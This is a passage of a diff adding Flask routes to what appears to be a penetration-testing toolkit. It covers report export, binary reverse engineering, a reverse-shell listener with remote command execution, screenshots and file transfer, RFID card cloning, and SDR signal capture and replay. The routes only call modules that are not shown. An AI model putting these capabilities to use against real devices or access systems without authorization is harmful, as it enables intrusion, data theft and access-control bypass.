|
||||
return jsonify(_svc().add_finding(report_id, data))
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/<report_id>/findings/<finding_id>', methods=['PUT'])
|
||||
@login_required
|
||||
def update_finding(report_id, finding_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_svc().update_finding(report_id, finding_id, data))
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/<report_id>/findings/<finding_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_finding(report_id, finding_id):
|
||||
return jsonify(_svc().delete_finding(report_id, finding_id))
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/templates', methods=['GET'])
|
||||
@login_required
|
||||
def finding_templates():
|
||||
return jsonify({'ok': True, 'templates': _svc().get_finding_templates()})
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/<report_id>/export/<fmt>', methods=['GET'])
|
||||
@login_required
|
||||
def export_report(report_id, fmt):
|
||||
svc = _svc()
|
||||
if fmt == 'html':
|
||||
content = svc.export_html(report_id)
|
||||
if not content:
|
||||
return jsonify({'ok': False, 'error': 'Report not found'})
|
||||
return Response(content, mimetype='text/html',
|
||||
headers={'Content-Disposition': f'attachment; filename=report_{report_id}.html'})
|
||||
elif fmt == 'markdown':
|
||||
content = svc.export_markdown(report_id)
|
||||
if not content:
|
||||
return jsonify({'ok': False, 'error': 'Report not found'})
|
||||
return Response(content, mimetype='text/markdown',
|
||||
headers={'Content-Disposition': f'attachment; filename=report_{report_id}.md'})
|
||||
elif fmt == 'json':
|
||||
content = svc.export_json(report_id)
|
||||
if not content:
|
||||
return jsonify({'ok': False, 'error': 'Report not found'})
|
||||
return Response(content, mimetype='application/json',
|
||||
headers={'Content-Disposition': f'attachment; filename=report_{report_id}.json'})
|
||||
return jsonify({'ok': False, 'error': 'Invalid format'})
|
||||
200
web/routes/reverse_eng.py
Normal file
200
web/routes/reverse_eng.py
Normal file
@@ -0,0 +1,200 @@
|
||||
"""Reverse Engineering routes."""
|
||||
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
reverse_eng_bp = Blueprint('reverse_eng', __name__, url_prefix='/reverse-eng')
|
||||
|
||||
|
||||
def _get_re():
|
||||
from modules.reverse_eng import get_reverse_eng
|
||||
return get_reverse_eng()
|
||||
|
||||
|
||||
# ==================== PAGE ====================
|
||||
|
||||
@reverse_eng_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('reverse_eng.html')
|
||||
|
||||
|
||||
# ==================== ANALYSIS ====================
|
||||
|
||||
@reverse_eng_bp.route('/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def analyze():
|
||||
"""Comprehensive binary analysis."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
result = _get_re().analyze_binary(file_path)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@reverse_eng_bp.route('/strings', methods=['POST'])
|
||||
@login_required
|
||||
def strings():
|
||||
"""Extract strings from binary."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
min_length = int(data.get('min_length', 4))
|
||||
encoding = data.get('encoding', 'both')
|
||||
result = _get_re().extract_strings(file_path, min_length=min_length, encoding=encoding)
|
||||
return jsonify({'strings': result, 'total': len(result)})
|
||||
|
||||
|
||||
# ==================== DISASSEMBLY ====================
|
||||
|
||||
@reverse_eng_bp.route('/disassemble', methods=['POST'])
|
||||
@login_required
|
||||
def disassemble():
|
||||
"""Disassemble binary data or file."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
hex_data = data.get('hex', '').strip()
|
||||
arch = data.get('arch', 'x64')
|
||||
count = int(data.get('count', 100))
|
||||
section = data.get('section', '.text')
|
||||
|
||||
if hex_data:
|
||||
try:
|
||||
raw = bytes.fromhex(hex_data.replace(' ', '').replace('\n', ''))
|
||||
except ValueError:
|
||||
return jsonify({'error': 'Invalid hex data'}), 400
|
||||
instructions = _get_re().disassemble(raw, arch=arch, count=count)
|
||||
elif file_path:
|
||||
offset = int(data.get('offset', 0))
|
||||
instructions = _get_re().disassemble_file(
|
||||
file_path, section=section, offset=offset, count=count)
|
||||
else:
|
||||
return jsonify({'error': 'Provide file path or hex data'}), 400
|
||||
|
||||
return jsonify({'instructions': instructions, 'total': len(instructions)})
|
||||
|
||||
|
||||
# ==================== HEX ====================
|
||||
|
||||
@reverse_eng_bp.route('/hex', methods=['POST'])
|
||||
@login_required
|
||||
def hex_dump():
|
||||
"""Hex dump of file region."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
offset = int(data.get('offset', 0))
|
||||
length = int(data.get('length', 256))
|
||||
length = min(length, 65536) # Cap at 64KB
|
||||
result = _get_re().hex_dump(file_path, offset=offset, length=length)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@reverse_eng_bp.route('/hex/search', methods=['POST'])
|
||||
@login_required
|
||||
def hex_search():
|
||||
"""Search for hex pattern in binary."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
pattern = data.get('pattern', '').strip()
|
||||
if not file_path or not pattern:
|
||||
return jsonify({'error': 'File path and pattern required'}), 400
|
||||
result = _get_re().hex_search(file_path, pattern)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ==================== YARA ====================
|
||||
|
||||
@reverse_eng_bp.route('/yara/scan', methods=['POST'])
|
||||
@login_required
|
||||
def yara_scan():
|
||||
"""Scan file with YARA rules."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
rules_path = data.get('rules_path') or None
|
||||
rules_string = data.get('rules_string') or None
|
||||
result = _get_re().yara_scan(file_path, rules_path=rules_path, rules_string=rules_string)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@reverse_eng_bp.route('/yara/rules')
|
||||
@login_required
|
||||
def yara_rules():
|
||||
"""List available YARA rule files."""
|
||||
rules = _get_re().list_yara_rules()
|
||||
return jsonify({'rules': rules, 'total': len(rules)})
|
||||
|
||||
|
||||
# ==================== PACKER ====================
|
||||
|
||||
@reverse_eng_bp.route('/packer', methods=['POST'])
|
||||
@login_required
|
||||
def packer():
|
||||
"""Detect packer in binary."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
result = _get_re().detect_packer(file_path)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ==================== COMPARE ====================
|
||||
|
||||
@reverse_eng_bp.route('/compare', methods=['POST'])
|
||||
@login_required
|
||||
def compare():
|
||||
"""Compare two binaries."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file1 = data.get('file1', '').strip()
|
||||
file2 = data.get('file2', '').strip()
|
||||
if not file1 or not file2:
|
||||
return jsonify({'error': 'Two file paths required'}), 400
|
||||
result = _get_re().compare_binaries(file1, file2)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ==================== DECOMPILE ====================
|
||||
|
||||
@reverse_eng_bp.route('/decompile', methods=['POST'])
|
||||
@login_required
|
||||
def decompile():
|
||||
"""Decompile binary with Ghidra headless."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
function = data.get('function') or None
|
||||
result = _get_re().ghidra_decompile(file_path, function=function)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ==================== PE / ELF PARSING ====================
|
||||
|
||||
@reverse_eng_bp.route('/pe', methods=['POST'])
|
||||
@login_required
|
||||
def parse_pe():
|
||||
"""Parse PE headers."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
result = _get_re().parse_pe(file_path)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@reverse_eng_bp.route('/elf', methods=['POST'])
|
||||
@login_required
|
||||
def parse_elf():
|
||||
"""Parse ELF headers."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '').strip()
|
||||
if not file_path:
|
||||
return jsonify({'error': 'No file path provided'}), 400
|
||||
result = _get_re().parse_elf(file_path)
|
||||
return jsonify(result)
|
||||
274
web/routes/revshell.py
Normal file
274
web/routes/revshell.py
Normal file
@@ -0,0 +1,274 @@
|
||||
"""Reverse Shell routes — listener management, session control, command execution."""
|
||||
|
||||
import base64
|
||||
import io
|
||||
from flask import Blueprint, render_template, request, jsonify, send_file, Response
|
||||
from web.auth import login_required
|
||||
|
||||
revshell_bp = Blueprint('revshell', __name__, url_prefix='/revshell')
|
||||
|
||||
|
||||
def _listener():
|
||||
from core.revshell import get_listener
|
||||
return get_listener()
|
||||
|
||||
|
||||
def _json():
|
||||
return request.get_json(silent=True) or {}
|
||||
|
||||
|
||||
# ── Main Page ────────────────────────────────────────────────────────
|
||||
|
||||
@revshell_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
listener = _listener()
|
||||
return render_template('revshell.html',
|
||||
running=listener.running,
|
||||
token=listener.auth_token,
|
||||
port=listener.port,
|
||||
sessions=listener.list_sessions())
|
||||
|
||||
|
||||
# ── Listener Control ─────────────────────────────────────────────────
|
||||
|
||||
@revshell_bp.route('/listener/start', methods=['POST'])
|
||||
@login_required
|
||||
def listener_start():
|
||||
data = _json()
|
||||
port = data.get('port', 17322)
|
||||
token = data.get('token', None)
|
||||
host = data.get('host', '0.0.0.0')
|
||||
|
||||
from core.revshell import start_listener
|
||||
ok, msg = start_listener(host=host, port=int(port), token=token)
|
||||
return jsonify({'success': ok, 'message': msg, 'token': _listener().auth_token})
|
||||
|
||||
|
||||
@revshell_bp.route('/listener/stop', methods=['POST'])
|
||||
@login_required
|
||||
def listener_stop():
|
||||
from core.revshell import stop_listener
|
||||
stop_listener()
|
||||
return jsonify({'success': True, 'message': 'Listener stopped'})
|
||||
|
||||
|
||||
@revshell_bp.route('/listener/status', methods=['POST'])
|
||||
@login_required
|
||||
def listener_status():
|
||||
listener = _listener()
|
||||
return jsonify({
|
||||
'running': listener.running,
|
||||
'port': listener.port,
|
||||
'token': listener.auth_token,
|
||||
'host': listener.host,
|
||||
'session_count': len(listener.active_sessions),
|
||||
})
|
||||
|
||||
|
||||
# ── Sessions ─────────────────────────────────────────────────────────
|
||||
|
||||
@revshell_bp.route('/sessions', methods=['POST'])
|
||||
@login_required
|
||||
def list_sessions():
|
||||
return jsonify({'sessions': _listener().list_sessions()})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/disconnect', methods=['POST'])
|
||||
@login_required
|
||||
def disconnect_session(sid):
|
||||
_listener().remove_session(sid)
|
||||
return jsonify({'success': True, 'message': f'Session {sid} disconnected'})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/info', methods=['POST'])
|
||||
@login_required
|
||||
def session_info(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
return jsonify({'success': True, 'session': session.to_dict()})
|
||||
|
||||
|
||||
# ── Command Execution ────────────────────────────────────────────────
|
||||
|
||||
@revshell_bp.route('/session/<sid>/execute', methods=['POST'])
|
||||
@login_required
|
||||
def execute_command(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
|
||||
data = _json()
|
||||
cmd = data.get('cmd', '')
|
||||
timeout = data.get('timeout', 30)
|
||||
|
||||
if not cmd:
|
||||
return jsonify({'success': False, 'message': 'No command specified'})
|
||||
|
||||
result = session.execute(cmd, timeout=int(timeout))
|
||||
return jsonify({
|
||||
'success': result['exit_code'] == 0,
|
||||
'stdout': result['stdout'],
|
||||
'stderr': result['stderr'],
|
||||
'exit_code': result['exit_code'],
|
||||
})
|
||||
|
||||
|
||||
# ── Special Commands ─────────────────────────────────────────────────
|
||||
|
||||
@revshell_bp.route('/session/<sid>/sysinfo', methods=['POST'])
|
||||
@login_required
|
||||
def device_sysinfo(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
result = session.sysinfo()
|
||||
return jsonify({'success': result['exit_code'] == 0, **result})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/packages', methods=['POST'])
|
||||
@login_required
|
||||
def device_packages(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
result = session.packages()
|
||||
return jsonify({'success': result['exit_code'] == 0, **result})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/screenshot', methods=['POST'])
|
||||
@login_required
|
||||
def device_screenshot(sid):
|
||||
listener = _listener()
|
||||
filepath = listener.save_screenshot(sid)
|
||||
if filepath:
|
||||
return jsonify({'success': True, 'path': filepath})
|
||||
return jsonify({'success': False, 'message': 'Screenshot failed'})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/screenshot/view', methods=['GET'])
|
||||
@login_required
|
||||
def view_screenshot(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return 'Session not found', 404
|
||||
png_data = session.screenshot()
|
||||
if not png_data:
|
||||
return 'Screenshot failed', 500
|
||||
return send_file(io.BytesIO(png_data), mimetype='image/png',
|
||||
download_name=f'screenshot_{sid}.png')
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/processes', methods=['POST'])
|
||||
@login_required
|
||||
def device_processes(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
result = session.processes()
|
||||
return jsonify({'success': result['exit_code'] == 0, **result})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/netstat', methods=['POST'])
|
||||
@login_required
|
||||
def device_netstat(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
result = session.netstat()
|
||||
return jsonify({'success': result['exit_code'] == 0, **result})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/logcat', methods=['POST'])
|
||||
@login_required
|
||||
def device_logcat(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
data = _json()
|
||||
lines = data.get('lines', 100)
|
||||
result = session.dumplog(lines=int(lines))
|
||||
return jsonify({'success': result['exit_code'] == 0, **result})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/download', methods=['POST'])
|
||||
@login_required
|
||||
def download_file(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
|
||||
data = _json()
|
||||
remote_path = data.get('path', '')
|
||||
if not remote_path:
|
||||
return jsonify({'success': False, 'message': 'No path specified'})
|
||||
|
||||
filepath = _listener().save_download(sid, remote_path)
|
||||
if filepath:
|
||||
return jsonify({'success': True, 'path': filepath})
|
||||
return jsonify({'success': False, 'message': 'Download failed'})
|
||||
|
||||
|
||||
@revshell_bp.route('/session/<sid>/upload', methods=['POST'])
|
||||
@login_required
|
||||
def upload_file(sid):
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return jsonify({'success': False, 'message': 'Session not found or dead'})
|
||||
|
||||
remote_path = request.form.get('path', '')
|
||||
if not remote_path:
|
||||
return jsonify({'success': False, 'message': 'No remote path specified'})
|
||||
|
||||
uploaded = request.files.get('file')
|
||||
if not uploaded:
|
||||
return jsonify({'success': False, 'message': 'No file uploaded'})
|
||||
|
||||
# Save temp, upload, cleanup
|
||||
import tempfile
|
||||
tmp = tempfile.NamedTemporaryFile(delete=False)
|
||||
try:
|
||||
uploaded.save(tmp.name)
|
||||
result = session.upload(tmp.name, remote_path)
|
||||
return jsonify({
|
||||
'success': result['exit_code'] == 0,
|
||||
'stdout': result['stdout'],
|
||||
'stderr': result['stderr'],
|
||||
})
|
||||
finally:
|
||||
try:
|
||||
import os
|
||||
os.unlink(tmp.name)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ── SSE Stream for Interactive Shell ─────────────────────────────────
|
||||
|
||||
@revshell_bp.route('/session/<sid>/stream')
|
||||
@login_required
|
||||
def shell_stream(sid):
|
||||
"""SSE endpoint for streaming command output."""
|
||||
session = _listener().get_session(sid)
|
||||
if not session or not session.alive:
|
||||
return 'Session not found', 404
|
||||
|
||||
def generate():
|
||||
yield f"data: {jsonify_str({'type': 'connected', 'session': session.to_dict()})}\n\n"
|
||||
# The stream stays open; the client sends commands via POST /execute
|
||||
# and reads results. This SSE is mainly for status updates.
|
||||
while session.alive:
|
||||
import time
|
||||
time.sleep(5)
|
||||
yield f"data: {jsonify_str({'type': 'heartbeat', 'alive': session.alive, 'uptime': int(session.uptime)})}\n\n"
|
||||
yield f"data: {jsonify_str({'type': 'disconnected'})}\n\n"
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
def jsonify_str(obj):
|
||||
"""JSON serialize without Flask response wrapper."""
|
||||
import json
|
||||
return json.dumps(obj)
|
||||
90
web/routes/rfid_tools.py
Normal file
90
web/routes/rfid_tools.py
Normal file
@@ -0,0 +1,90 @@
|
||||
"""RFID/NFC Tools routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
rfid_tools_bp = Blueprint('rfid_tools', __name__, url_prefix='/rfid')
|
||||
|
||||
def _get_mgr():
|
||||
from modules.rfid_tools import get_rfid_manager
|
||||
return get_rfid_manager()
|
||||
|
||||
@rfid_tools_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('rfid_tools.html')
|
||||
|
||||
@rfid_tools_bp.route('/tools')
|
||||
@login_required
|
||||
def tools_status():
|
||||
return jsonify(_get_mgr().get_tools_status())
|
||||
|
||||
@rfid_tools_bp.route('/lf/search', methods=['POST'])
|
||||
@login_required
|
||||
def lf_search():
|
||||
return jsonify(_get_mgr().lf_search())
|
||||
|
||||
@rfid_tools_bp.route('/lf/read/em410x', methods=['POST'])
|
||||
@login_required
|
||||
def lf_read_em():
|
||||
return jsonify(_get_mgr().lf_read_em410x())
|
||||
|
||||
@rfid_tools_bp.route('/lf/clone', methods=['POST'])
|
||||
@login_required
|
||||
def lf_clone():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().lf_clone_em410x(data.get('card_id', '')))
|
||||
|
||||
@rfid_tools_bp.route('/lf/sim', methods=['POST'])
|
||||
@login_required
|
||||
def lf_sim():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().lf_sim_em410x(data.get('card_id', '')))
|
||||
|
||||
@rfid_tools_bp.route('/hf/search', methods=['POST'])
|
||||
@login_required
|
||||
def hf_search():
|
||||
return jsonify(_get_mgr().hf_search())
|
||||
|
||||
@rfid_tools_bp.route('/hf/dump', methods=['POST'])
|
||||
@login_required
|
||||
def hf_dump():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().hf_dump_mifare(data.get('keys_file')))
|
||||
|
||||
@rfid_tools_bp.route('/hf/clone', methods=['POST'])
|
||||
@login_required
|
||||
def hf_clone():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().hf_clone_mifare(data.get('dump_file', '')))
|
||||
|
||||
@rfid_tools_bp.route('/nfc/scan', methods=['POST'])
|
||||
@login_required
|
||||
def nfc_scan():
|
||||
return jsonify(_get_mgr().nfc_scan())
|
||||
|
||||
@rfid_tools_bp.route('/cards', methods=['GET', 'POST', 'DELETE'])
|
||||
@login_required
|
||||
def cards():
|
||||
mgr = _get_mgr()
|
||||
if request.method == 'POST':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(mgr.save_card(data.get('card', {}), data.get('name')))
|
||||
elif request.method == 'DELETE':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(mgr.delete_card(data.get('index', -1)))
|
||||
return jsonify(mgr.get_saved_cards())
|
||||
|
||||
@rfid_tools_bp.route('/dumps')
|
||||
@login_required
|
||||
def dumps():
|
||||
return jsonify(_get_mgr().list_dumps())
|
||||
|
||||
@rfid_tools_bp.route('/keys')
|
||||
@login_required
|
||||
def default_keys():
|
||||
return jsonify(_get_mgr().get_default_keys())
|
||||
|
||||
@rfid_tools_bp.route('/types')
|
||||
@login_required
|
||||
def card_types():
|
||||
return jsonify(_get_mgr().get_card_types())
|
||||
183
web/routes/sdr_tools.py
Normal file
183
web/routes/sdr_tools.py
Normal file
@@ -0,0 +1,183 @@
|
||||
"""SDR/RF Tools routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
sdr_tools_bp = Blueprint('sdr_tools', __name__, url_prefix='/sdr-tools')
|
||||
|
||||
|
||||
def _get_sdr():
|
||||
from modules.sdr_tools import get_sdr_tools
|
||||
return get_sdr_tools()
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('sdr_tools.html')
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/devices')
|
||||
@login_required
|
||||
def devices():
|
||||
return jsonify({'devices': _get_sdr().detect_devices()})
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/spectrum', methods=['POST'])
|
||||
@login_required
|
||||
def spectrum():
|
||||
data = request.get_json(silent=True) or {}
|
||||
freq_start = int(data.get('freq_start', 88000000))
|
||||
freq_end = int(data.get('freq_end', 108000000))
|
||||
step = int(data['step']) if data.get('step') else None
|
||||
gain = int(data['gain']) if data.get('gain') else None
|
||||
duration = int(data.get('duration', 5))
|
||||
device = data.get('device', 'rtl')
|
||||
result = _get_sdr().scan_spectrum(
|
||||
device=device, freq_start=freq_start, freq_end=freq_end,
|
||||
step=step, gain=gain, duration=duration
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/capture/start', methods=['POST'])
|
||||
@login_required
|
||||
def capture_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_sdr().start_capture(
|
||||
device=data.get('device', 'rtl'),
|
||||
frequency=int(data.get('frequency', 100000000)),
|
||||
sample_rate=int(data.get('sample_rate', 2048000)),
|
||||
gain=data.get('gain', 'auto'),
|
||||
duration=int(data.get('duration', 10)),
|
||||
output=data.get('output'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/capture/stop', methods=['POST'])
|
||||
@login_required
|
||||
def capture_stop():
|
||||
return jsonify(_get_sdr().stop_capture())
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/recordings')
|
||||
@login_required
|
||||
def recordings():
|
||||
return jsonify({'recordings': _get_sdr().list_recordings()})
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/recordings/<rec_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def recording_delete(rec_id):
|
||||
return jsonify(_get_sdr().delete_recording(rec_id))
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/replay', methods=['POST'])
|
||||
@login_required
|
||||
def replay():
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '')
|
||||
frequency = int(data.get('frequency', 100000000))
|
||||
sample_rate = int(data.get('sample_rate', 2048000))
|
||||
gain = int(data.get('gain', 47))
|
||||
return jsonify(_get_sdr().replay_signal(file_path, frequency, sample_rate, gain))
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/demod/fm', methods=['POST'])
|
||||
@login_required
|
||||
def demod_fm():
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '')
|
||||
frequency = int(data['frequency']) if data.get('frequency') else None
|
||||
return jsonify(_get_sdr().demodulate_fm(file_path, frequency))
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/demod/am', methods=['POST'])
|
||||
@login_required
|
||||
def demod_am():
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '')
|
||||
frequency = int(data['frequency']) if data.get('frequency') else None
|
||||
return jsonify(_get_sdr().demodulate_am(file_path, frequency))
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/adsb/start', methods=['POST'])
|
||||
@login_required
|
||||
def adsb_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_sdr().start_adsb(device=data.get('device', 'rtl')))
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/adsb/stop', methods=['POST'])
|
||||
@login_required
|
||||
def adsb_stop():
|
||||
return jsonify(_get_sdr().stop_adsb())
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/adsb/aircraft')
|
||||
@login_required
|
||||
def adsb_aircraft():
|
||||
return jsonify({'aircraft': _get_sdr().get_adsb_aircraft()})
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/gps/detect', methods=['POST'])
|
||||
@login_required
|
||||
def gps_detect():
|
||||
data = request.get_json(silent=True) or {}
|
||||
duration = int(data.get('duration', 30))
|
||||
return jsonify(_get_sdr().detect_gps_spoofing(duration))
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def analyze():
|
||||
data = request.get_json(silent=True) or {}
|
||||
file_path = data.get('file', '')
|
||||
return jsonify(_get_sdr().analyze_signal(file_path))
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/frequencies')
|
||||
@login_required
|
||||
def frequencies():
|
||||
return jsonify(_get_sdr().get_common_frequencies())
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_sdr().get_status())
|
||||
|
||||
|
||||
# ── Drone Detection Routes ──────────────────────────────────────────────────
|
||||
|
||||
@sdr_tools_bp.route('/drone/start', methods=['POST'])
|
||||
@login_required
|
||||
def drone_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_sdr().start_drone_detection(data.get('device', 'rtl'), data.get('duration', 0))
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/drone/stop', methods=['POST'])
|
||||
@login_required
|
||||
def drone_stop():
|
||||
return jsonify(_get_sdr().stop_drone_detection())
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/drone/detections')
|
||||
@login_required
|
||||
def drone_detections():
|
||||
return jsonify({'detections': _get_sdr().get_drone_detections()})
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/drone/clear', methods=['DELETE'])
|
||||
@login_required
|
||||
def drone_clear():
|
||||
_get_sdr().clear_drone_detections()
|
||||
return jsonify({'ok': True})
|
||||
|
||||
|
||||
@sdr_tools_bp.route('/drone/status')
|
||||
@login_required
|
||||
def drone_status():
|
||||
return jsonify({'detecting': _get_sdr().is_drone_detecting(), 'count': len(_get_sdr().get_drone_detections())})
|
||||
608
web/routes/settings.py
Normal file
608
web/routes/settings.py
Normal file
@@ -0,0 +1,608 @@
|
||||
"""Settings route"""
|
||||
|
||||
import collections
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from flask import Blueprint, render_template, request, redirect, url_for, flash, jsonify, current_app, Response
|
||||
from web.auth import login_required, hash_password, save_credentials, load_credentials
|
||||
|
||||
# ── Debug Console infrastructure ─────────────────────────────────────────────
|
||||
|
||||
_debug_buffer: collections.deque = collections.deque(maxlen=2000)
|
||||
_debug_enabled: bool = False
|
||||
_debug_handler_installed: bool = False
|
||||
|
||||
|
||||
class _DebugBufferHandler(logging.Handler):
|
||||
"""Captures log records into the in-memory debug buffer."""
|
||||
|
||||
def emit(self, record: logging.LogRecord) -> None:
|
||||
if not _debug_enabled:
|
||||
return
|
||||
try:
|
||||
entry: dict = {
|
||||
'ts': record.created,
|
||||
'level': record.levelname,
|
||||
'name': record.name,
|
||||
'raw': record.getMessage(),
|
||||
'msg': self.format(record),
|
||||
}
|
||||
if record.exc_info:
|
||||
import traceback as _tb
|
||||
entry['exc'] = ''.join(_tb.format_exception(*record.exc_info))
|
||||
_debug_buffer.append(entry)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _ensure_debug_handler() -> None:
|
||||
global _debug_handler_installed
|
||||
if _debug_handler_installed:
|
||||
return
|
||||
handler = _DebugBufferHandler()
|
||||
handler.setLevel(logging.DEBUG)
|
||||
handler.setFormatter(logging.Formatter('%(name)s — %(message)s'))
|
||||
root = logging.getLogger()
|
||||
root.addHandler(handler)
|
||||
# Lower root level to DEBUG so records reach the handler
|
||||
if root.level == logging.NOTSET or root.level > logging.DEBUG:
|
||||
root.setLevel(logging.DEBUG)
|
||||
_debug_handler_installed = True
|
||||
|
||||
settings_bp = Blueprint('settings', __name__, url_prefix='/settings')
|
||||
|
||||
|
||||
@settings_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
config = current_app.autarch_config
|
